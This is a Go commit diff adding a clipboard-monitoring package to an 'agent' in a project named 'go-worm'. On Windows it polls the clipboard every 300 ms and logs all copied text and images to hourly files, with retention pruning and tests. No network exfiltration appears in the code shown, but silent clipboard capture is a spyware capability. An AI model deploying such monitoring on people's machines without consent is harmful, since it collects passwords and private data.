Add clipboard monitoring functionality to the agent. Implement clipboard event logging, including text and image capture, with support for retention policies. Update API to allow file deletion and enhance web interface for file management. Add tests for clipboard operations.
This commit is contained in:
@@ -0,0 +1,104 @@
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
writer *Writer
|
||||
events chan Event
|
||||
stopCh chan struct{}
|
||||
doneCh chan struct{}
|
||||
writerWG sync.WaitGroup
|
||||
)
|
||||
|
||||
func Start() error {
|
||||
if !config.ClipboardEnabled() {
|
||||
return nil
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if running {
|
||||
return nil
|
||||
}
|
||||
dir, err := config.ClipboardDir()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := PruneOld(dir, config.ClipboardRetentionDays()); err != nil {
|
||||
return err
|
||||
}
|
||||
w, err := NewWriter(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
events = make(chan Event, 64)
|
||||
stopCh = make(chan struct{})
|
||||
doneCh = make(chan struct{})
|
||||
|
||||
writerWG.Add(1)
|
||||
go func() {
|
||||
defer writerWG.Done()
|
||||
for {
|
||||
select {
|
||||
case event := <-events:
|
||||
_ = w.Write(event)
|
||||
case <-stopCh:
|
||||
_ = w.Close()
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
if err := startPlatform(w, events, stopCh, doneCh); err != nil {
|
||||
close(stopCh)
|
||||
writerWG.Wait()
|
||||
events = nil
|
||||
stopCh = nil
|
||||
doneCh = nil
|
||||
return err
|
||||
}
|
||||
|
||||
writer = w
|
||||
running = true
|
||||
return nil
|
||||
}
|
||||
|
||||
func Stop() {
|
||||
mu.Lock()
|
||||
if !running {
|
||||
mu.Unlock()
|
||||
return
|
||||
}
|
||||
stop := stopCh
|
||||
done := doneCh
|
||||
running = false
|
||||
writer = nil
|
||||
events = nil
|
||||
stopCh = nil
|
||||
doneCh = nil
|
||||
mu.Unlock()
|
||||
|
||||
if stop != nil {
|
||||
close(stop)
|
||||
}
|
||||
writerWG.Wait()
|
||||
if done != nil {
|
||||
<-done
|
||||
}
|
||||
}
|
||||
|
||||
func emit(event Event) {
|
||||
event.Time = time.Now()
|
||||
select {
|
||||
case events <- event:
|
||||
default:
|
||||
// ponytail: drop when full
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestFormatLine(t *testing.T) {
|
||||
t.Parallel()
|
||||
when := time.Date(2026, 8, 28, 13, 4, 5, 0, time.UTC)
|
||||
line := formatLine(Event{Time: when, Kind: "text", Text: "hello"})
|
||||
if !strings.Contains(line, "[text]") || !strings.Contains(line, "hello") {
|
||||
t.Fatalf("formatLine text = %q", line)
|
||||
}
|
||||
img := formatLine(Event{Time: when, Kind: "image", ImagePath: "images/ab.png"})
|
||||
if !strings.Contains(img, "[image] images/ab.png") {
|
||||
t.Fatalf("formatLine image = %q", img)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriterHourly(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
w, err := NewWriter(dir)
|
||||
if err != nil {
|
||||
t.Fatalf("NewWriter: %v", err)
|
||||
}
|
||||
when := time.Date(2026, 8, 28, 13, 0, 0, 0, time.Local)
|
||||
if err := w.Write(Event{Time: when, Kind: "text", Text: "copied"}); err != nil {
|
||||
t.Fatalf("Write: %v", err)
|
||||
}
|
||||
_ = w.Close()
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(dir, LogFilename(HourBucket(when))))
|
||||
if err != nil {
|
||||
t.Fatalf("read log: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(data), "copied") {
|
||||
t.Fatalf("log = %q", data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSavePNG(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
w, err := NewWriter(dir)
|
||||
if err != nil {
|
||||
t.Fatalf("NewWriter: %v", err)
|
||||
}
|
||||
rel, err := w.SavePNG([]byte{0x89, 'P', 'N', 'G', 0, 0, 0})
|
||||
if err != nil {
|
||||
t.Fatalf("SavePNG: %v", err)
|
||||
}
|
||||
if !strings.HasPrefix(rel, "images/") {
|
||||
t.Fatalf("rel = %q", rel)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package clipmon
|
||||
|
||||
import "time"
|
||||
|
||||
type Event struct {
|
||||
Time time.Time
|
||||
Kind string // "text" or "image"
|
||||
Text string
|
||||
ImagePath string // relative to clipboard dir, e.g. images/abc.png
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const hourBucketLayout = "2006-01-02-15"
|
||||
|
||||
var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`)
|
||||
|
||||
func HourBucket(t time.Time) string {
|
||||
return t.Local().Format(hourBucketLayout)
|
||||
}
|
||||
|
||||
func LogFilename(bucket string) string {
|
||||
return bucket + ".log"
|
||||
}
|
||||
|
||||
func ValidLogFilename(name string) bool {
|
||||
return logFilenamePattern.MatchString(filepath.Base(name))
|
||||
}
|
||||
|
||||
func formatLine(event Event) string {
|
||||
when := event.Time.UTC().Format("2006-01-02T15:04:05.000Z")
|
||||
switch event.Kind {
|
||||
case "image":
|
||||
return fmt.Sprintf("%s [image] %s\n", when, event.ImagePath)
|
||||
default:
|
||||
text := strings.ReplaceAll(event.Text, "\r\n", "\n")
|
||||
text = strings.ReplaceAll(text, "\r", "\n")
|
||||
return fmt.Sprintf("%s [text]\n%s\n", when, text)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
//go:build !windows
|
||||
|
||||
package clipmon
|
||||
|
||||
func startPlatform(_ *Writer, _ chan Event, _ <-chan struct{}, done chan struct{}) error {
|
||||
close(done)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,231 @@
|
||||
//go:build windows
|
||||
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"image"
|
||||
"image/color"
|
||||
"image/png"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
cfBitmap = 2
|
||||
cfDIB = 8
|
||||
cfUnicodeText = 13
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procOpenClipboard = user32.NewProc("OpenClipboard")
|
||||
procCloseClipboard = user32.NewProc("CloseClipboard")
|
||||
procGetClipboardData = user32.NewProc("GetClipboardData")
|
||||
procIsClipboardFormatAvailable = user32.NewProc("IsClipboardFormatAvailable")
|
||||
procGetClipboardSequenceNumber = user32.NewProc("GetClipboardSequenceNumber")
|
||||
procGlobalLock = kernel32.NewProc("GlobalLock")
|
||||
procGlobalUnlock = kernel32.NewProc("GlobalUnlock")
|
||||
procGlobalSize = kernel32.NewProc("GlobalSize")
|
||||
)
|
||||
|
||||
type bitmapInfoHeader struct {
|
||||
Size uint32
|
||||
Width int32
|
||||
Height int32
|
||||
Planes uint16
|
||||
BitCount uint16
|
||||
Compression uint32
|
||||
SizeImage uint32
|
||||
XPelsPerMeter int32
|
||||
YPelsPerMeter int32
|
||||
ClrUsed uint32
|
||||
ClrImportant uint32
|
||||
}
|
||||
|
||||
func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
||||
go func() {
|
||||
defer close(done)
|
||||
pollClipboard(w, stop)
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
func pollClipboard(w *Writer, stop <-chan struct{}) {
|
||||
lastSeq := sequenceNumber()
|
||||
ticker := time.NewTicker(300 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
case <-ticker.C:
|
||||
seq := sequenceNumber()
|
||||
if seq == lastSeq {
|
||||
continue
|
||||
}
|
||||
lastSeq = seq
|
||||
captureClipboard(w)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func sequenceNumber() uint32 {
|
||||
n, _, _ := procGetClipboardSequenceNumber.Call()
|
||||
return uint32(n)
|
||||
}
|
||||
|
||||
func captureClipboard(w *Writer) {
|
||||
ok, _, _ := procOpenClipboard.Call(0)
|
||||
if ok == 0 {
|
||||
return
|
||||
}
|
||||
defer procCloseClipboard.Call()
|
||||
|
||||
if text, ok := readClipboardText(); ok && strings.TrimSpace(text) != "" {
|
||||
emit(Event{Kind: "text", Text: TrimText(text)})
|
||||
}
|
||||
if pngData, ok := readClipboardImage(); ok {
|
||||
rel, err := w.SavePNG(pngData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
emit(Event{Kind: "image", ImagePath: rel})
|
||||
}
|
||||
}
|
||||
|
||||
func readClipboardText() (string, bool) {
|
||||
ok, _, _ := procIsClipboardFormatAvailable.Call(cfUnicodeText)
|
||||
if ok == 0 {
|
||||
return "", false
|
||||
}
|
||||
handle, _, _ := procGetClipboardData.Call(cfUnicodeText)
|
||||
if handle == 0 {
|
||||
return "", false
|
||||
}
|
||||
ptr, _, _ := procGlobalLock.Call(handle)
|
||||
if ptr == 0 {
|
||||
return "", false
|
||||
}
|
||||
defer procGlobalUnlock.Call(handle)
|
||||
size, _, _ := procGlobalSize.Call(handle)
|
||||
if size == 0 {
|
||||
return "", false
|
||||
}
|
||||
data := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), size/2)
|
||||
for i, unit := range data {
|
||||
if unit == 0 {
|
||||
return syscall.UTF16ToString(data[:i]), true
|
||||
}
|
||||
}
|
||||
return syscall.UTF16ToString(data), true
|
||||
}
|
||||
|
||||
func readClipboardImage() ([]byte, bool) {
|
||||
if dib, ok := readClipboardDIB(); ok {
|
||||
return dib, true
|
||||
}
|
||||
return readClipboardBitmap()
|
||||
}
|
||||
|
||||
func readClipboardDIB() ([]byte, bool) {
|
||||
ok, _, _ := procIsClipboardFormatAvailable.Call(cfDIB)
|
||||
if ok == 0 {
|
||||
return nil, false
|
||||
}
|
||||
handle, _, _ := procGetClipboardData.Call(cfDIB)
|
||||
if handle == 0 {
|
||||
return nil, false
|
||||
}
|
||||
ptr, _, _ := procGlobalLock.Call(handle)
|
||||
if ptr == 0 {
|
||||
return nil, false
|
||||
}
|
||||
defer procGlobalUnlock.Call(handle)
|
||||
size, _, _ := procGlobalSize.Call(handle)
|
||||
if size == 0 {
|
||||
return nil, false
|
||||
}
|
||||
raw := unsafe.Slice((*byte)(unsafe.Pointer(ptr)), size)
|
||||
return dibToPNG(append([]byte(nil), raw...))
|
||||
}
|
||||
|
||||
func readClipboardBitmap() ([]byte, bool) {
|
||||
ok, _, _ := procIsClipboardFormatAvailable.Call(cfBitmap)
|
||||
if ok == 0 {
|
||||
return nil, false
|
||||
}
|
||||
// ponytail: CF_BITMAP needs a DC to read pixels; most apps also publish CF_DIB
|
||||
return nil, false
|
||||
}
|
||||
|
||||
func dibToPNG(raw []byte) ([]byte, bool) {
|
||||
if len(raw) < int(unsafe.Sizeof(bitmapInfoHeader{})) {
|
||||
return nil, false
|
||||
}
|
||||
var header bitmapInfoHeader
|
||||
if err := binary.Read(bytes.NewReader(raw), binary.LittleEndian, &header); err != nil {
|
||||
return nil, false
|
||||
}
|
||||
if header.Size < uint32(unsafe.Sizeof(bitmapInfoHeader{})) || header.BitCount != 24 && header.BitCount != 32 {
|
||||
return nil, false
|
||||
}
|
||||
width := int(header.Width)
|
||||
height := int(header.Height)
|
||||
if width <= 0 || height <= 0 || width > 8192 || height > 8192 {
|
||||
return nil, false
|
||||
}
|
||||
topDown := false
|
||||
if height < 0 {
|
||||
topDown = true
|
||||
height = -height
|
||||
}
|
||||
|
||||
headerSize := int(header.Size)
|
||||
colorTable := int(header.ClrUsed) * 4
|
||||
if header.BitCount <= 8 && header.ClrUsed == 0 {
|
||||
colorTable = (1 << header.BitCount) * 4
|
||||
}
|
||||
offset := headerSize + colorTable
|
||||
if offset > len(raw) {
|
||||
return nil, false
|
||||
}
|
||||
pixels := raw[offset:]
|
||||
stride := ((width*int(header.BitCount) + 31) / 32) * 4
|
||||
if len(pixels) < stride*height {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
img := image.NewRGBA(image.Rect(0, 0, width, height))
|
||||
bytesPerPixel := int(header.BitCount) / 8
|
||||
for y := 0; y < height; y++ {
|
||||
srcY := y
|
||||
if !topDown {
|
||||
srcY = height - 1 - y
|
||||
}
|
||||
row := pixels[srcY*stride:]
|
||||
for x := 0; x < width; x++ {
|
||||
i := x * bytesPerPixel
|
||||
if i+2 >= len(row) {
|
||||
continue
|
||||
}
|
||||
b, g, r := row[i], row[i+1], row[i+2]
|
||||
a := uint8(255)
|
||||
if bytesPerPixel == 4 && i+3 < len(row) {
|
||||
a = row[i+3]
|
||||
}
|
||||
img.SetRGBA(x, y, color.RGBA{R: r, G: g, B: b, A: a})
|
||||
}
|
||||
}
|
||||
|
||||
var out bytes.Buffer
|
||||
if err := png.Encode(&out, img); err != nil {
|
||||
return nil, false
|
||||
}
|
||||
return out.Bytes(), true
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const maxLoggedText = 1 << 16 // ponytail: 64KB cap per clipboard text entry
|
||||
|
||||
type Writer struct {
|
||||
dir string
|
||||
imagesDir string
|
||||
file *os.File
|
||||
bucket string
|
||||
}
|
||||
|
||||
func NewWriter(dir string) (*Writer, error) {
|
||||
imagesDir := filepath.Join(dir, "images")
|
||||
if err := os.MkdirAll(imagesDir, 0o700); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Writer{dir: dir, imagesDir: imagesDir}, nil
|
||||
}
|
||||
|
||||
func (w *Writer) Write(event Event) error {
|
||||
bucket := HourBucket(event.Time)
|
||||
if bucket != w.bucket {
|
||||
if err := w.rotate(bucket); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
_, err := w.file.WriteString(formatLine(event))
|
||||
return err
|
||||
}
|
||||
|
||||
func (w *Writer) SavePNG(data []byte) (string, error) {
|
||||
name, err := randomName(".png")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
path := filepath.Join(w.imagesDir, name)
|
||||
if err := os.WriteFile(path, data, 0o600); err != nil {
|
||||
return "", fmt.Errorf("write image: %w", err)
|
||||
}
|
||||
return filepath.ToSlash(filepath.Join("images", name)), nil
|
||||
}
|
||||
|
||||
func (w *Writer) rotate(bucket string) error {
|
||||
if w.file != nil {
|
||||
if err := w.file.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
w.file = nil
|
||||
}
|
||||
path := filepath.Join(w.dir, LogFilename(bucket))
|
||||
file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
w.file = file
|
||||
w.bucket = bucket
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *Writer) Close() error {
|
||||
if w.file == nil {
|
||||
return nil
|
||||
}
|
||||
err := w.file.Close()
|
||||
w.file = nil
|
||||
w.bucket = ""
|
||||
return err
|
||||
}
|
||||
|
||||
func TrimText(text string) string {
|
||||
if len(text) <= maxLoggedText {
|
||||
return text
|
||||
}
|
||||
return text[:maxLoggedText] + "\n...(truncated)"
|
||||
}
|
||||
|
||||
func randomName(ext string) (string, error) {
|
||||
var buf [16]byte
|
||||
if _, err := rand.Read(buf[:]); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if !strings.HasPrefix(ext, ".") {
|
||||
ext = "." + ext
|
||||
}
|
||||
return hex.EncodeToString(buf[:]) + ext, nil
|
||||
}
|
||||
|
||||
func PruneOld(dir string, retentionDays int) error {
|
||||
if retentionDays <= 0 {
|
||||
return nil
|
||||
}
|
||||
cutoff := time.Now().AddDate(0, 0, -retentionDays)
|
||||
if err := pruneLogs(dir, cutoff); err != nil {
|
||||
return err
|
||||
}
|
||||
return pruneImages(filepath.Join(dir, "images"), cutoff)
|
||||
}
|
||||
|
||||
func pruneLogs(dir string, cutoff time.Time) error {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() || !ValidLogFilename(entry.Name()) {
|
||||
continue
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if info.ModTime().Before(cutoff) {
|
||||
_ = os.Remove(filepath.Join(dir, entry.Name()))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func pruneImages(dir string, cutoff time.Time) error {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if info.ModTime().Before(cutoff) {
|
||||
_ = os.Remove(filepath.Join(dir, entry.Name()))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user